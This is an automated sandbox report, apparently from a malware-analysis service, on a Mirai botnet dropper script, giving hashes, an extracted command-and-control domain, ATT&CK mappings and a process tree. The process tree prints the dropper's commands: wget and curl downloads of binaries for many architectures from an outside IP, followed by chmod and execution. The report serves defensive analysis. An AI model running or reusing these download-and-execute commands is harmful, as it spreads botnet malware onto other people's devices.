mirai | b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20250619-en
resource tags

arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/05/2026, 12:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh.sh
Size 1KB
Sample260510-p4vkmsg131
SHA256 b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96
MD5 c5848645d69c2180bdb59c45e87cf5f1
SHA1 e6279666995951839971e13365e3d2d6c602c6a2
SHA512 7db9e56ba4db09673225ee77764d9ca17a3a9e725ce286685db683fea0a03c0ea344e42127f6714cc306ca9730ccae1f776c3a782306cab7edb3d3057be64bbe
TLSH
T1274113D916AD42792FEB5D27F2AD9449B18896A724C06E6E5DDC3CB4824CF042449F83
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

haven.mephedrone.nl

Extracted

Family

mirai

haven.mephedrone.nl

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
814	chmod
835	chmod
851	chmod
869	chmod
823	chmod
829	chmod
840	chmod
845	chmod
857	chmod
863	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/wget	815	sh.sh
/tmp/wget	824	sh.sh
/tmp/wget	830	sh.sh
/tmp/wget	836	sh.sh
/tmp/wget	841	sh.sh
/tmp/wget	846	sh.sh
/tmp/wget	852	sh.sh
/tmp/wget	858	sh.sh
/tmp/wget	864	sh.sh
/tmp/wget	870	sh.sh

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
826	wget
827	curl
828	cat

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/debug.x86_32	curl
File opened for modification	/tmp/debug.arm5	curl
File opened for modification	/tmp/debug.m68k	wget
File opened for modification	/tmp/debug.sh4	wget
File opened for modification	/tmp/wget	sh.sh
File opened for modification	/tmp/debug.mips	curl
File opened for modification	/tmp/debug.arm4	curl
File opened for modification	/tmp/debug.arm5	wget
File opened for modification	/tmp/debug.arm6	wget
File opened for modification	/tmp/debug.ppc	curl
File opened for modification	/tmp/debug.m68k	curl
File opened for modification	/tmp/debug.x86_64	curl
File opened for modification	/tmp/debug.mpsl	curl
File opened for modification	/tmp/debug.arm7	wget
File opened for modification	/tmp/debug.ppc	wget
File opened for modification	/tmp/debug.x86_64	wget
File opened for modification	/tmp/debug.x86_32	wget
File opened for modification	/tmp/debug.mips	wget
File opened for modification	/tmp/debug.arm6	curl
File opened for modification	/tmp/debug.arm7	curl

/tmp/sh.sh
/tmp/sh.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:711
- /usr/bin/wget
  wget http://216.9.225.23/debug.x86_64
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/cat
  cat debug.x86_64
  2⤵
  PID:813
- /bin/chmod
  chmod +x debug.x86_64 sh.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-12k13F wget
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/wget
  ./wget
  2⤵
  PID:815
- /usr/bin/wget
  wget http://216.9.225.23/debug.x86_32
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.x86_32
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/cat
  cat debug.x86_32
  2⤵
  PID:822
- /bin/chmod
  chmod +x debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/wget
  ./wget
  2⤵
  PID:824
- /usr/bin/wget
  wget http://216.9.225.23/debug.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat debug.mips
  2⤵
  - System Network Configuration Discovery
  PID:828
- /bin/chmod
  chmod +x debug.mips debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/wget
  ./wget
  2⤵
  PID:830
- /usr/bin/wget
  wget http://216.9.225.23/debug.mpsl
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/cat
  cat debug.mpsl
  2⤵
  PID:834
- /bin/chmod
  chmod +x debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/wget
  ./wget
  2⤵
  PID:836
- /usr/bin/wget
  wget http://216.9.225.23/debug.arm4
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat debug.arm4
  2⤵
  PID:839
- /bin/chmod
  chmod +x debug.arm4 debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/wget
  ./wget
  2⤵
  PID:841
- /usr/bin/wget
  wget http://216.9.225.23/debug.arm5
  2⤵
  - Writes file to tmp directory
  PID:842
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/cat
  cat debug.arm5
  2⤵
  PID:844
- /bin/chmod
  chmod +x debug.arm4 debug.arm5 debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/wget
  ./wget
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.9.225.23/debug.arm6
  2⤵
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/cat
  cat debug.arm6
  2⤵
  PID:850
- /bin/chmod
  chmod +x debug.arm4 debug.arm5 debug.arm6 debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/wget
  ./wget
  2⤵
  PID:852
- /usr/bin/wget
  wget http://216.9.225.23/debug.arm7
  2⤵
  - Writes file to tmp directory
  PID:854
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/cat
  cat debug.arm7
  2⤵
  PID:856
- /bin/chmod
  chmod +x debug.arm4 debug.arm5 debug.arm6 debug.arm7 debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/wget
  ./wget
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.9.225.23/debug.ppc
  2⤵
  - Writes file to tmp directory
  PID:860
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/cat
  cat debug.ppc
  2⤵
  PID:862
- /bin/chmod
  chmod +x debug.arm4 debug.arm5 debug.arm6 debug.arm7 debug.mips debug.mpsl debug.ppc debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/wget
  ./wget
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.9.225.23/debug.m68k
  2⤵
  - Writes file to tmp directory
  PID:866
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/cat
  cat debug.m68k
  2⤵
  PID:868
- /bin/chmod
  chmod +x debug.arm4 debug.arm5 debug.arm6 debug.arm7 debug.m68k debug.mips debug.mpsl debug.ppc debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/wget
  ./wget
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.9.225.23/debug.sh4
  2⤵
  - Writes file to tmp directory
  PID:872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

debug.x86_64

Path /tmp/debug.x86_64
Size 143KB
SHA256 2903832e570e9ae1d8d762008426e018af150d90465733bcc5c4b0c683cca249
MD5 7acdfe8c45cfdb19b7bb4b625182e56b
SHA1 b351894191ea69b0047cb0bd452132719c771977
SHA512 c3a5cd9104ce30c524924569764f4f941c69863e5be681d6a98adb220e3e8e1609bae1156d0093826a42a256ec71fcacc0dbe6cece117ccc2f79c8b507f8f9b0
SSDEEP 1536:+l7y+RLBIc6Qw/vvtIXOeRzZ6QJYFjq4/uXKkrQJ86Ydh4uIM2aqF33/3fJGel9h:/+lB/GmnR4WoJ8Nh4uUaqFvf7lwR3J
TLSH
T1BCE36B523AC180FDC549D1B81AEFA136D9A9F0BD2368764F37C0EE261C4DD604E79B92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 125KB
SHA256 27d62ffd5e6487f70520209221eb167827287d8f48cee58376b2a751335221cf
MD5 a45d67ae06271133661e1b729dcdfc77
SHA1 0f54ead21e583d54f44ab0a9fd6c49162fdea0f5
SHA512 1ac249cd181766a262b02a95fb10338a97586d1d3c342d5eceff4f933fafc75d5424c7e212fddc8cbfedebc16f53a4da4a53ab9391330c87523365c87ef678c5
SSDEEP 3072:dKoya3DgNc4gO07lfzlN7gUcJrvPrD8YdJVSQVzBp:Eoya3DgNc4gO0NxN72JbVSQVzBp
TLSH
T194C35C938313D5F6D8150931E037E736EAB9C52A512AED81E3ACDE34EC96E0285237DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 180KB
SHA256 af2d34521e18ecd22e03fba7c6594aa35b89df26da89f2849fe2b2f5e5473c39
MD5 a7e90db928258b33cf7eabba36c22ff0
SHA1 4c3adc00b41afd6a64954cd0218a179c21c1572d
SHA512 56aac3f21e92e87013512bdfdfc5a54026af0358115521dbb6578183e241bd9dcd8b326d27f9673a2b076257142ec399cbe54dc3c2ec2a9ea3c4c5ab8c042d19
SSDEEP 3072:onJGggY4z5iuMqqBq3tt0WBKC6GxCcM+Hv4888V7u4mNRBN5q:Hgqz5dMqqSaKCcvQyV7ujRBN5q
TLSH
T19304E75F6E225FADF36D833553B38A31A7A833C623E0C586E17CD5111EA034E552BBA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 274B
SHA256 599addd902c48e0163d510f07b6b6c56079c107c2bdd0cac804989152375490b
MD5 f4d41155b7b45f01503381562d8f073a
SHA1 21b8d2c23ea2ccf95005aa63dff1807fd4b5aae6
SHA512 d626a48188165554fbdb3fc72e8fe8f30dab850d50100a3b65bdfbbc87508b8a12ce7024cc25894bd8511680f07067aee76ae07af7cc24346f07f931c73f57d6
TLSH
T146D02B9E505363874912186039C525D2264C13F6A43A85A86D86D48756A8A3ECD9A9C8
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /tmp/wget
Size 146KB
SHA256 6ff0f39b45553463d9b32c2b4b9a01df9cff03a3f6274b25d816d69c2d1497e1
MD5 d17ad9d47745757687c7ac6caba83994
SHA1 fe86525dce0c423640867a3014ca2337977cf3e5
SHA512 c648709557eab9fd58ae79d549add295a6d49d598c8e6cb7c7c22144d23d4a01498f458936fb4a9f8ae2e19a3a05081d2d4660e85c7adf69362ec2984499d923
SSDEEP 3072:01AwwFjbYSYqhxvELFHuiHK/y5ufyj7Can:01cjbvtELVui4y5qyj7CM
TLSH
T145E37CD2F402EDEFFC0A96BA445B0209B464B76176530222B3D76C5FA93A0D16C5FF86
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads